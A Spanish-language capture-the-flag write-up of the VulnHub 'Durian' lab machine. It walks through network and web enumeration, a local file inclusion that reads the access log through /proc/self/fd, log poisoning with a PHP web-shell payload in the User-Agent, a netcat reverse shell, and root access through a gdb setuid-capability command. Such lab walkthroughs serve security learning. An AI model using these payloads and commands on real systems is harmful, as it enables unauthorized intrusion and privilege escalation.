Inicio VH - Durian
Entrada
Cancelar

VH - Durian

¡Hola! Vamos a resolver de la máquina Durian de dificultad “Fácil” de la plataforma VulnHub.

Técnicas Vistas:

  • Web Enumeration
  • Local File Inclusion (LFI)
  • LFI to RCE - Abusing /proc/self/fd/X + Log Poisoning
  • Abusing capabilities (cap_setuid+ep on gdb binary) [Privilege Escalation]

Preparación Entorno


Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Durian. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt crearemos cuatro directorios de trabajo nmap, content, exploits y scripts donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.

1
2
3
function mkt(){
    mkdir {nmap,content,exploits,scripts}
}

Reconocimiento


Primero de todo necesitamos saber la IP de la máquina víctima que se encuentra funcionando dentro de nuestra red local. Procedemos a escanear todos los equipos de nuestra red local

1
2
3
4
5
6
7
8
9
10
11
12
13
14
arp-scan -I ens33 --localnet

Interface: ens33, type: EN10MB, MAC: 00:0c:29:8d:05:79, IPv4: 192.168.1.148
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1	e4:ca:12:8c:78:a5	zte corporation
192.168.1.129	2c:f0:5d:0a:0a:f1	(Unknown)
192.168.1.132	f4:34:f0:50:7e:76	(Unknown)
192.168.1.136	ac:67:84:98:f6:07	(Unknown)
192.168.1.138	00:0c:29:18:45:60	VMware, Inc.
192.168.1.139	9c:20:7b:b1:3e:47	Apple, Inc.
192.168.1.143	b8:bc:5b:e8:00:67	Samsung Electronics Co.,Ltd
192.168.1.142	d8:a3:5c:73:eb:02	(Unknown)
192.168.1.130	c8:ff:77:4b:be:03	Dyson Limited
192.168.1.128	00:55:da:56:56:66	IEEE Registration Authority

Tras analizar la respuesta del escaneo observamos por el OUI (Organizationally unique identifier) 00:0c:29 que corresponde a VMWare Inc ya que la máquina víctima funciona bajo un entorno de virtualización VMWare por lo que su IP es 192.168.1.138

Accedemos al directorio de trabajo nmap e iniciamos nuestra fase de reconocimiento realizando un ping a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl de una traza ICMP.

1
2
3
4
5
6
7
❯ ping -c 1 192.168.1.138
PING 192.168.1.138 (192.168.1.138) 56(84) bytes of data.
64 bytes from 192.168.1.138: icmp_seq=1 ttl=64 time=42.3 ms

--- 192.168.1.138 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.314/42.314/42.314/0.000 ms

Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 64.

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

1
2
3
4
5
6
7
8
nmap -p- --open --min-rate 5000 -vvv -n -Pn 192.168.1.138 -oG allPorts

PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack ttl 64
80/tcp   open  http       syn-ack ttl 64
7080/tcp open  empowerid  syn-ack ttl 64
8088/tcp open  radan-http syn-ack ttl 64
MAC Address: 00:0C:29:18:45:60 (VMware)

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
nmap -sCV -p22,7080,8000,8088 192.168.1.138 -oN targeted

PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 28:1c:64:fa:9c:c3:d2:d4:bb:76:3d:3b:10:e2:b1:25 (RSA)
|   256 da:b2:e1:7f:7c:1b:58:cf:fd:4f:74:e9:23:6d:51:d7 (ECDSA)
|_  256 41:e1:0c:2b:d4:26:e8:d3:71:bb:9d:f9:61:56:63:c0 (ED25519)
80/tcp   open  http          Apache httpd 2.4.38 ((Debian))
|_http-title: Durian
|_http-server-header: Apache/2.4.38 (Debian)
7080/tcp open  ssl/empowerid LiteSpeed
| http-title: LiteSpeed WebAdmin Console
|_Requested resource was /login.php
| ssl-cert: Subject: commonName=durian/organizationName=LiteSpeedCommunity/stateOrProvinceName=NJ/countryName=US
| Not valid before: 2020-09-08T02:05:32
|_Not valid after:  2022-12-07T02:05:32
|_http-server-header: LiteSpeed
| tls-alpn: 
|   h2
|   spdy/3
|   spdy/2
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
8088/tcp open  radan-http    LiteSpeed
|_http-title: Durian
|_http-server-header: LiteSpeed

Reconocimiento Web


Iniciamos el reconocimiento del servicio web con la herramienta whatweb la cual nos muestra información sobre las tecnologías web que incluyen sistemas de gestión de contenido (CMS), plataformas de blogs, paquetes de estadísticas / análisis, bibliotecas JavaScript, servidores web y dispositivos integrados.

1
2
3
4
5
6
7
8
❯ whatweb http://192.168.1.138
http://192.168.1.138 [200 OK] Apache[2.4.38], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.1.138], Title[Durian]
❯ whatweb http://192.168.1.138:7080
http://192.168.1.138:7080 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[LiteSpeed], IP[192.168.1.138], LiteSpeed, RedirectLocation[https://192.168.1.138:7080/]
https://192.168.1.138:7080/ [302 Found] Cookies[LSID37FE0C43B84483E0,LSPA37FE0C43B84483E0,LSUI37FE0C43B84483E0], Country[RESERVED][ZZ], HTTPServer[LiteSpeed], HttpOnly[LSUI37FE0C43B84483E0], IP[192.168.1.138], LiteSpeed, PHP[5.6.36], RedirectLocation[/login.php], UncommonHeaders[referrer-policy,x-content-type-options,alt-svc], X-Frame-Options[SAMEORIGIN], X-Powered-By[PHP/5.6.36], X-XSS-Protection[1;mode=block]
https://192.168.1.138:7080/login.php [200 OK] Bootstrap, Cookies[LSUI37FE0C43B84483E0,litespeed_admin_lang], Country[RESERVED][ZZ], HTML5, HTTPServer[LiteSpeed], HttpOnly[LSUI37FE0C43B84483E0,litespeed_admin_lang], IP[192.168.1.138], JQuery[2.2.4], LiteSpeed, Meta-Author[LiteSpeed Technologies, Inc.], Object[image/svg+xml], PHP[5.6.36], PasswordField[pass], Script[text/javascript], Title[LiteSpeed WebAdmin Console], UncommonHeaders[referrer-policy,x-content-type-options,alt-svc], X-Frame-Options[SAMEORIGIN], X-Powered-By[PHP/5.6.36], X-UA-Compatible[IE=edge], X-XSS-Protection[1;mode=block]
❯ whatweb http://192.168.1.138:8088
http://192.168.1.138:8088 [200 OK] Country[RESERVED][ZZ], HTTPServer[LiteSpeed], IP[192.168.1.138], LiteSpeed, Title[Durian]

Abrimos el navegador y accedemos a la dirección de la máquina en los puertos 7080, 8000 y 8088. En el puerto 7080 observamos un panel de login de LiteSpeed Technologies Inc. y en los puertos 8000 y 8088 observamos una imagen estática.

Fuzzing


Iniciamos el reconocimiento de potenciales rutas de acceso web para el puerto 8000.

En esta ocasión usaremos la herramienta gobuster con un total de 20 hilos (-t 20) y utilizando el diccionario directory-list-2.3-medium.txt de nuestro repositorio de confianza SecLists de Daniel Miessler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
gobuster dir -u "http://192.168.1.138" -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --add-slash

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.138
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Add Slash:               true
[+] Timeout:                 10s
===============================================================
2022/10/31 11:27:34 Starting gobuster in directory enumeration mode
===============================================================
/blog/                (Status: 403) [Size: 169]
/cgi-data/            (Status: 403) [Size: 169]
                                               
===============================================================
2022/10/31 11:28:03 Finished
===============================================================

Observamos en los resultados el directorio /cgi-data/. Tenemos capacidad de directory listing y observamos un archivo getImage.php

Al examinar el código fuente encontramos una pista…

Tenemos capacidad de LFI y podemos listar recursos de la máquina víctima

Enumeración por LFI (Local File Inclusion)


En este punto vamos a enumerar contenido de la ruta /proc/net/fd. Para ello Utilizaremos BurpSuite

Recordemos que el directorio /proc/self es un enlace al proceso en ejecución. Esto le permite verse a si mismo sin tener que conocer su ID de proceso. Dentro de un entorno de la shell, una lista del directorio /proc/self produce el mismo contenido que una lista del directorio del proceso para ese proceso.

Capturamos petición y con intruder de BurpSuite realizamos un ataque de tipo Sniper con un payload númerico del 1 al 30

En base a la respuesta del campo length observamos que en la ruta /proc/self/fd/9 nos devuelve una respuesta diefrente al resto. Enviamos esta petición al repeater y vemos en la respuesta que tenemos acceso al acces log

Si observamos detalladamente la respuesta vemos como con cada registro se tramita junto con el User-Agent, por lo que si podemos insertar código PHP dentro del mismo este debería ser interpretado. Esta técnica se le conoce como Log Poisoning

“Envenenamiento de registro” (Log Poisoning), esta consiste en leer un fichero de registro (log) por medio de una “inclusión de fichero” (LFI) y modificar el texto de las cabeceras

Tratamos de acceder a una ruta inexistente y la capturamos con BurpSuite donde modificaremos el User-Agent para insertar el siguiente código en PHP <?php system('whoami'); ?>

A pesar de que nos devuelve un 404 vemos en el log que nuestro User-Agent se ha interpretado y tenemos el output del comando whoami por lo que tenemos capacidad de ejecución remota de comandos (RCE)

El siguiente paso sería insertar el siguiente código PHP dentro del User-agent <?php system($_GET['cmd']); ?> con el que cuando pongamos ?cmd=COMANDO nos ejecutará el comando indicado

Con la herramienta netcat nos ponemos en escucha en nuestro equipo por el puerto 443 y ejectuamos el típico oneliner de bash para obtener una reverse shell

1
2
3
4
5
6
7
8
9
10
11
sudo nc -nlvp 443

[sudo] password for yorch: 
listening on [any] 443 ...
connect to [192.168.1.148] from (UNKNOWN) [192.168.1.138] 48046
bash: cannot set terminal process group (513): Inappropriate ioctl for device
bash: no job control in this shell
www-data@durian:/var/www/html/cgi-data$ whoami
whoami
www-data
www-data@durian:/var/www/html/cgi-data$ 

Hemos conseguido acceso a la máquina víctima!!

Escalada de Privilegios


Iniciamos el reconocimiento con el comando id para listar grupos en los que se encuentre el usuario y con sudo -l listamos los binarios que podemos ejecutar con privilegio de root pero no encontramos nada interesante. Procedemos a listar capabilities

1
2
3
www-data@durian:/var/www/html/cgi-data$ getcap -r / 2>/dev/null 
/usr/bin/gdb = cap_setuid+ep
/usr/bin/ping = cap_net_raw+ep

Nos llama la atención el binario gdb con capabilitie cap_setuid+ep. Tras consultar GTFOBins vemos que este binario con esta capabilitie son vulnerables

Ejecutamos el comando que encontramos en GTFOBins y obtenemos shell con privilegios de root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
www-data@durian:/tmp$ gdb -nx -ex 'python import os; os.setuid(0)' -ex '!bash' -ex quit
GNU gdb (Debian 8.2.1-2+b3) 8.2.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word".
root@durian:/tmp# whoami
root

Ya sólo no queda acceder al directorio /root donde se encuentra la flag que demuestra que hemos comprometido la máquina víctima

1
2
3
4
root@durian:/root# ls
proof.txt
root@durian:/root# cat proof.txt 
SunCSR_Team.af6d45da1f1181347***************

Hemos completado la máquina Durian de VulnHub!! Happy Hacking!!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.